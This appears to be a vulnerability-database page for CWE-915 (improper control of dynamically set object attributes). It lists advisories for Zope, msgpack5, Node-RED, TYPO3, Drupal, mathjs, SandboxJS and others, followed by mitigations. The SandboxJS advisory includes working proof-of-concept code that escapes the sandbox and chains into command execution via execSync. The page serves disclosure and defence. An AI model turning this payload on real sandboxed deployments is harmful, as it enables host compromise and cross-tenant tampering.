Common Weakness Enumeration
CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
276 vulnerabilities reference this CWE, most recent first.
CVE-2021-32811 (GCVE-0-2021-32811)
Vulnerability from cvelistv5 – Published: 2021-08-02 21:55 – Updated: 2024-08-03 23:33
VLAI
EPSS
VEX
Title
Remote Code Execution via Script (Python) objects under Python 3
Summary
Zope is an open-source web application server. Zope versions prior to versions 4.6.3 and 5.3 have a remote code execution security issue. In order to be affected, one must use Python 3 for one's Zope deployment, run Zope 4 below version 4.6.3 or Zope 5 below version 5.3, and have the optional `Products.PythonScripts` add-on package installed. By default, one must have the admin-level Zope "Manager" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web are at risk. Zope releases 4.6.3 and 5.3 are not vulnerable. As a workaround, a site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.
Severity
7.5 (High)
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/zopefoundation/Zope/security/a… | x_refsource_CONFIRM |
| https://github.com/zopefoundation/AccessControl/s… | x_refsource_MISC |
| https://github.com/zopefoundation/Zope/commit/f72… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| zopefoundation | Zope |
Affected:
>= 4.0, < 4.6.3
Affected: >= 5.0, < 5.3 |
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CVE-2021-32807 (GCVE-0-2021-32807)
Vulnerability from cvelistv5 – Published: 2021-07-30 21:20 – Updated: 2024-08-03 23:33
VLAI
EPSS
VEX
Title
Remote Code Execution via unsafe classes in otherwise permitted modules
Summary
The module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of `Script (Python)` objects. The policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution. By default, you need to have the admin-level Zope "Manager" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk. The problem has been fixed in AccessControl 4.3 and 5.2. Only AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7. As a workaround, a site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.
Severity
4.4 (Medium)
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/zopefoundation/AccessControl/s… | x_refsource_CONFIRM |
| https://github.com/zopefoundation/AccessControl/c… | x_refsource_MISC |
| https://github.com/zopefoundation/AccessControl/b… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| zopefoundation | AccessControl |
Affected:
>= 4.0, < 4.3
Affected: >= 5.0, < 5.2 |
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CVE-2021-21368 (GCVE-0-2021-21368)
Vulnerability from cvelistv5 – Published: 2021-03-12 17:00 – Updated: 2024-08-03 18:09
VLAI
EPSS
VEX
Title
Prototype poisoning
Summary
msgpack5 is a msgpack v5 implementation for node.js and the browser. In msgpack5 before versions 3.6.1, 4.5.1, and 5.2.1 there is a "Prototype Poisoning" vulnerability. When msgpack5 decodes a map containing a key "__proto__", it assigns the decoded value to __proto__. Object.prototype.__proto__ is an accessor property for the receiver's prototype. If the value corresponding to the key __proto__ decodes to an object or null, msgpack5 sets the decoded object's prototype to that value. An attacker who can submit crafted MessagePack data to a service can use this to produce values that appear to be of other types; may have unexpected prototype properties and methods (for example length, numeric properties, and push et al if __proto__'s value decodes to an Array); and/or may throw unexpected exceptions when used (for example if the __proto__ value decodes to a Map or Date). Other unexpected behavior might be produced for other types. There is no effect on the global prototype. This "prototype poisoning" is sort of a very limited inversion of a prototype pollution attack. Only the decoded value's prototype is affected, and it can only be set to msgpack5 values (though if the victim makes use of custom codecs, anything could be a msgpack5 value). We have not found a way to escalate this to true prototype pollution (absent other bugs in the consumer's code). This has been fixed in msgpack5 version 3.6.1, 4.5.1, and 5.2.1. See the referenced GitHub Security Advisory for an example and more details.
Severity
6.7 (Medium)
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/mcollina/msgpack5/security/adv… | x_refsource_CONFIRM |
| https://www.npmjs.com/package/msgpack5 | x_refsource_MISC |
| https://github.com/mcollina/msgpack5/releases/tag… | x_refsource_MISC |
| https://github.com/mcollina/msgpack5/releases/tag… | x_refsource_MISC |
| https://github.com/mcollina/msgpack5/releases/tag… | x_refsource_MISC |
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Impacted products
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CVE-2021-21304 (GCVE-0-2021-21304)
Vulnerability from cvelistv5 – Published: 2021-02-08 17:40 – Updated: 2024-08-03 18:09
VLAI
EPSS
VEX
Title
Prototype Pollution in Dynamoose
Summary
Dynamoose is an open-source modeling tool for Amazon's DynamoDB. In Dynamoose from version 2.0.0 and before version 2.7.0 there was a prototype pollution vulnerability in the internal utility method "lib/utils/object/set.ts". This method is used throughout the codebase for various operations throughout Dynamoose. We have not seen any evidence of this vulnerability being exploited. There is no evidence this vulnerability impacts versions 1.x.x since the vulnerable method was added as part of the v2 rewrite. This vulnerability also impacts v2.x.x beta/alpha versions. Version 2.7.0 includes a patch for this vulnerability.
Severity
7.2 (High)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
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CVE-2021-21297 (GCVE-0-2021-21297)
Vulnerability from cvelistv5 – Published: 2021-02-26 16:20 – Updated: 2024-08-03 18:09
VLAI
EPSS
VEX
Title
Prototype Pollution in Node-Red
Summary
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Severity
7.7 (High)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/node-red/node-red/security/adv… | x_refsource_CONFIRM |
| https://www.npmjs.com/package/%40node-red/runtime | x_refsource_MISC |
| https://www.npmjs.com/package/%40node-red/editor-api | x_refsource_MISC |
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"description_data": [
{
"lang": "eng",
"value": "Node-Red is a low-code programming for event-driven applications built using nodejs. Node-RED 1.2.7 and earlier contains a Prototype Pollution vulnerability in the admin API. A badly formed request can modify the prototype of the default JavaScript Object with the potential to affect the default behaviour of the Node-RED runtime. The vulnerability is patched in the 1.2.8 release. A workaround is to ensure only authorized users are able to access the editor url."
}
]
},
"impact": {
"cvss": {
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"attackVector": "NETWORK",
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"baseScore": 7.7,
"baseSeverity": "HIGH",
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"refsource": "MISC",
"url": "https://www.npmjs.com/package/@node-red/runtime"
},
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"name": "https://www.npmjs.com/package/@node-red/editor-api",
"refsource": "MISC",
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"refsource": "MISC",
"url": "https://github.com/node-red/node-red/releases/tag/1.2.8"
}
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CVE-2020-11066 (GCVE-0-2020-11066)
Vulnerability from cvelistv5 – Published: 2020-05-13 23:15 – Updated: 2024-08-04 11:21
VLAI
EPSS
VEX
Title
Improperly Controlled Modification of Dynamically-Determined Object Attributes in TYPO3 CMS
Summary
In TYPO3 CMS greater than or equal to 9.0.0 and less than 9.5.17 and greater than or equal to 10.0.0 and less than 10.4.2, calling unserialize() on malicious user-submitted content can lead to modification of dynamically-determined object attributes and result in triggering deletion of an arbitrary directory in the file system, if it is writable for the web server. It can also trigger message submission via email using the identity of the web site (mail relay). Another insecure deserialization vulnerability is required to actually exploit mentioned aspects. This has been fixed in 9.5.17 and 10.4.2.
Severity
8.7 (High)
CWE
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/TYPO3/TYPO3.CMS/security/advis… | x_refsource_CONFIRM |
Impacted products
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GHSA-25F6-4HRW-J87C
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 21:31
VLAI
Details
Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0., from 0.0.0 to 11.1..
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-55803"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:43Z",
"severity": "MODERATE"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0.*, from 0.0.0 to 11.1.*.",
"id": "GHSA-25f6-4hrw-j87c",
"modified": "2026-07-13T21:31:18Z",
"published": "2026-07-11T00:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55803"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2026-005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-29QV-4J9F-FJW5
Vulnerability from github – Published: 2026-04-16 22:38 – Updated: 2026-04-27 16:43
VLAI
Summary
Unsafe object property setter in mathjs
Details
Impact
This security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.
Patches
The issue was introduced in mathjs v13.1.1, and patched in mathjs v15.2.0.
Workarounds
There is no workaround without upgrading to v15.2.0.
References
You can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).
Severity
8.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mathjs"
},
"ranges": [
{
"events": [
{
"introduced": "13.1.1"
},
{
"fixed": "15.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40897"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:38:43Z",
"nvd_published_at": "2026-04-24T17:16:20Z",
"severity": "HIGH"
},
"details": "### Impact\nThis security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.\n\n### Patches\nThe issue was introduced in mathjs `v13.1.1`, and patched in mathjs `v15.2.0`.\n\n### Workarounds\nThere is no workaround without upgrading to `v15.2.0`.\n\n### References\nYou can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).",
"id": "GHSA-29qv-4j9f-fjw5",
"modified": "2026-04-27T16:43:11Z",
"published": "2026-04-16T22:38:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/security/advisories/GHSA-29qv-4j9f-fjw5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40897"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/pull/3656"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/josdejong/mathjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe object property setter in mathjs"
}
GHSA-2CF2-2383-H4JV
Vulnerability from github – Published: 2021-05-07 16:16 – Updated: 2021-07-28 18:46
VLAI
Summary
Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen
Details
querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "querymen"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7600"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-03T19:11:22Z",
"nvd_published_at": "2020-03-12T23:15:00Z",
"severity": "MODERATE"
},
"details": "querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.",
"id": "GHSA-2cf2-2383-h4jv",
"modified": "2021-07-28T18:46:07Z",
"published": "2021-05-07T16:16:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7600"
},
{
"type": "WEB",
"url": "https://github.com/diegohaz/querymen/commit/1987fefcb3b7508253a29502a008d5063a873cef"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-QUERYMEN-559867"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen"
}
GHSA-2GG9-6P7W-6CPJ
Vulnerability from github – Published: 2026-04-03 21:44 – Updated: 2026-04-06 23:18
VLAI
Summary
SandboxJS: Sandbox integrity escape
Details
Summary
SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.
Details
The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.
Reference: src/executor.ts#L215-L218
if (obj.isGlobal) {
throw new SandboxAccessError(
`Cannot ${op} property '${obj.prop.toString()}' of a global object`,
);
}
The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.
Reference: src/utils.ts#L84-L88
export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
for (const i in globals) {
this[i] = globals[i];
}
} as any as SandboxGlobalConstructor;
At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.
References:
- src/utils.ts#L118-L126
- src/executor.ts#L493-L518
const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);
This creates a privilege gap:
1. Direct global mutation is blocked in assignment logic.
2. A callable host function that performs arbitrary property writes is still reachable.
3. The call path does not enforce equivalent global-mutation restrictions.
4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).
In practice, the payload:
const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });
overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.
PoC
Install dependency:
npm i @nyariv/sandboxjs@0.8.35
Global write bypass with pwned marker
#!/usr/bin/env node
'use strict';
const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;
try {
try {
run('Math.random = () => 1');
console.log('Without bypass (direct assignment): unexpectedly succeeded');
} catch (err) {
console.log('Without bypass (direct assignment): blocked ->', err.message);
}
run(`this.constructor.call(Math, { random: () => 'pwned' })`);
console.log('With bypass (host Math.random()):', Math.random());
console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
Math.random = original;
}
Expected output:
Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned
With bypass (host Math.random()) proves the sandbox changed host runtime state immediately.
With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.
Command id execution via host gadget
This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.
#!/usr/bin/env node
'use strict';
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;
try {
try {
run(`Math.cmd = 'id'`);
console.log('Without bypass (direct assignment): unexpectedly succeeded');
} catch (err) {
console.log('Without bypass (direct assignment): blocked ->', err.message);
}
run(`this.constructor.call(Math, { cmd: 'id' })`);
console.log('With bypass (host command source Math.cmd):', Math.cmd);
console.log(
'With bypass + host gadget execSync(Math.cmd):',
execSync(Math.cmd, { encoding: 'utf8' }).trim(),
);
} finally {
if (hadCmd) {
Math.cmd = originalCmd;
} else {
delete Math.cmd;
}
}
Expected output:
Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...
Impact
This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.
Severity
10.0 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34208"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:44:39Z",
"nvd_published_at": "2026-04-06T16:16:34Z",
"severity": "CRITICAL"
},
"details": "### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () =\u003e 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n throw new SandboxAccessError(\n `Cannot ${op} property \u0027${obj.prop.toString()}\u0027 of a global object`,\n );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n for (const i in globals) {\n this[i] = globals[i];\n }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () =\u003e \u0027pwned\u0027 });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n try {\n run(\u0027Math.random = () =\u003e 1\u0027);\n console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n } catch (err) {\n console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n }\n run(`this.constructor.call(Math, { random: () =\u003e \u0027pwned\u0027 })`);\n console.log(\u0027With bypass (host Math.random()):\u0027, Math.random());\n console.log(\u0027With bypass (fresh sandbox Math.random()):\u0027, run(\u0027return Math.random()\u0027));\n} finally {\n Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027random\u0027 of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately. \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, \u0027cmd\u0027);\nconst originalCmd = Math.cmd;\n\ntry {\n try {\n run(`Math.cmd = \u0027id\u0027`);\n console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n } catch (err) {\n console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n }\n run(`this.constructor.call(Math, { cmd: \u0027id\u0027 })`);\n console.log(\u0027With bypass (host command source Math.cmd):\u0027, Math.cmd);\n console.log(\n \u0027With bypass + host gadget execSync(Math.cmd):\u0027,\n execSync(Math.cmd, { encoding: \u0027utf8\u0027 }).trim(),\n );\n} finally {\n if (hadCmd) {\n Math.cmd = originalCmd;\n } else {\n delete Math.cmd;\n }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027cmd\u0027 of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.",
"id": "GHSA-2gg9-6p7w-6cpj",
"modified": "2026-04-06T23:18:19Z",
"published": "2026-04-03T21:44:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34208"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SandboxJS: Sandbox integrity escape "
}
Mitigation
Implementation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
Architecture and Design
Implementation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Implementation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Implementation
Architecture and Design
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.